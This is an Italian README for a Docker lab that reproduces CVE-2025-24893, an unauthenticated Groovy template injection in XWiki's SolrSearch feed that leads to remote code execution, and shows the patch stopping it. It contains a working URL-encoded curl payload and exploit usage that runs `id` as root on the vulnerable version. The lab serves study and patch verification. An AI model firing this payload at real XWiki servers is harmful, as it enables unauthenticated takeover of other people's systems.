CVE-2025-24893 - XWiki SolrSearch SSTI verso RCE non autenticata

Un laboratorio Docker autonomo che riproduce CVE-2025-24893, una Server-Side Template Injection nel feed RSS SolrSearch di XWiki che porta all'esecuzione remota di codice non autenticata. Esegue la versione vulnerabile 15.10.10 e la versione patchata 15.10.11, cosicché la stessa richiesta può essere mostrata mentre riesce su una e fallisce sull'altra.

Nota sull'uso di strumenti AI. Nel preparare questo progetto ho fatto un uso limitato di due assistenti AI --- Anthropic's Claude Opus 4.8 e DeepSeek-V4-Flash-0731 --- per la ricerca di documentazione e approcci, per la revisione del codice e per rifinire la formulazione del file README.md e del report LaTeX. Il loro contributo è stato marginale e strettamente subordinato alle mie decisioni.

1. Prerequisiti

• Docker Engine e Docker Compose v2 (il sottocomando docker compose, non il vecchio binario docker-compose). Annota le versioni per il report con docker --version e docker compose version.
• Circa 2 GB di RAM libera per il container XWiki (l'heap JVM è impostato a 1 GB) più MySQL.
• Funziona su amd64 e arm64 (incluso Apple Silicon): l'immagine di base tomcat:9-jre17, mysql:8.4 e il driver JDBC puro Java sono tutti multi-architettura.
• Accesso a Internet solo al primo build, per scaricare il WAR di XWiki e il driver JDBC, entrambi verificati tramite checksum.

2. Struttura

cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerabile)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patchato)
├── exploit.py                    # proof of concept basato sulla libreria standard
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privilegi per l'utente DB xwiki
└── xwiki-build/                  # build dell'immagine, ancorato alla versione esatta tramite SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

L'unica differenza tra i due stack è la versione di XWiki. Tutto il resto, inclusi l'immagine del database e il driver JDBC, è identico, quindi qualsiasi cambiamento nel comportamento è dovuto alla correzione e a nient'altro.

3. Riprodurre la vulnerabilità (15.10.10)

Build e avvio:

docker compose -f docker-compose.vuln.yml up --build -d

Il primo build scarica e decomprime XWiki, operazione che richiede alcuni minuti. Attendi che Tomcat riporti l'avvio:

docker compose -f docker-compose.vuln.yml logs -f xwiki   # attendere "Server startup in ..."

Completa la configurazione una tantum del primo avvio: apri http://localhost:8080 e completa la Distribution Wizard (installa il flavor predefinito XWiki Standard). Questo provvede a configurare l'interfaccia SolrSearch che l'exploit prende di mira. L'endpoint è raggiungibile dagli ospiti, quindi l'attacco stesso non richiede login; questa configurazione iniziale è l'unico passaggio che lo richiede.

Lancia l'exploit (non autenticato):

python3 exploit.py http://localhost:8080

Output atteso sullo stack vulnerabile:

[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

Opzionalmente mostra che l'esecuzione arriva al sistema operativo con un comando di sola lettura:

python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

La stessa richiesta come one-liner curl:

curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerabile -> stampa arith=42

Cattura uno screenshot dell'output per il report, poi smonta:

docker compose -f docker-compose.vuln.yml down          # aggiungi -v per cancellare anche i volumi

4. Riprodurre la correzione (15.10.11)

docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # attendere "Server startup in ..."

Completa di nuovo la Distribution Wizard su http://localhost:8080, poi esegui l'exploit identico:

python3 exploit.py http://localhost:8080

Output atteso sullo stack patchato:

[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

Cattura anche questo screenshot, poi ripristina:

docker compose -f docker-compose.patched.yml down -v

Perché la correzione funziona

In 15.10.10 il blocco di output del feed emette il feed come una nuda espressione Velocity ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), quindi il feed - che riflette il testo di ricerca dell'utente - viene ripassato attraverso la pipeline di rendering di XWiki, dove un macro {{groovy}} incorporato viene eseguito. In 15.10.11 quel blocco è sostituito da una chiamata a un nuovo macro rawResponse (SolrSearchMacros.xml riga 954; il macro è definito in templates/macros.vm). rawResponse imposta esplicitamente il content type (application/rss+xml), scrive i byte del feed direttamente nella risposta con $response.writer.print(...) e chiama $xcontext.setFinished(true) per fermare qualsiasi ulteriore rendering, quindi il feed viene inviato verbatim e il blocco {{groovy}} incorporato non viene mai valutato. Commit della patch 67021db9b8ed26c2236a653269302a86bf01ef40, advisory GHSA-rr6p-3pfg-562j. L'advisory fornisce anche una soluzione manuale: modificare per usare lo stesso schema , che chiude il sink senza aggiornare.

5. Determinismo e ripristino

• Ancorati: le versioni di XWiki (15.10.10 e 15.10.11), i checksum SHA-256 di WAR e JDBC, l'immagine di base tomcat:9-jre17, il database mysql:8.4 e la porta 8080.
• Ripristina lo stato con docker compose -f <file> down -v; il successivo up reinizializza da zero.
• Le credenziali (xwiki/xwiki, root xwiki-root) sono solo per questo laboratorio locale.
• I due stack usano nomi di progetto Compose diversi, quindi i loro volumi non entrano mai in collisione. Non eseguirli entrambi contemporaneamente, poiché entrambi pubblicano la porta 8080.

6. Verifica tu stesso i checksum ancorati

for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# atteso: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# atteso: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

Attribuzione

xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) e mysql/init.sql sono adattati o derivati dal build ufficiale di XWiki, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). Il Dockerfile differisce dall'immagine upstream in tre piccoli modi documentati: (1) la versione e il checksum di XWiki e JDBC sono passati come argomenti di build, così un unico file costruisce sia l'immagine vulnerabile sia quella patchata; (2) un esplicito chmod +x garantisce che l'entrypoint sia eseguibile anche se i permessi Unix vengono persi quando i file vengono decompressi o trasferiti; e (3) un commento upstream obsoleto che faceva riferimento a un file .env (non usato qui) è stato corretto. XWiki è di proprietà del XWiki Development Team.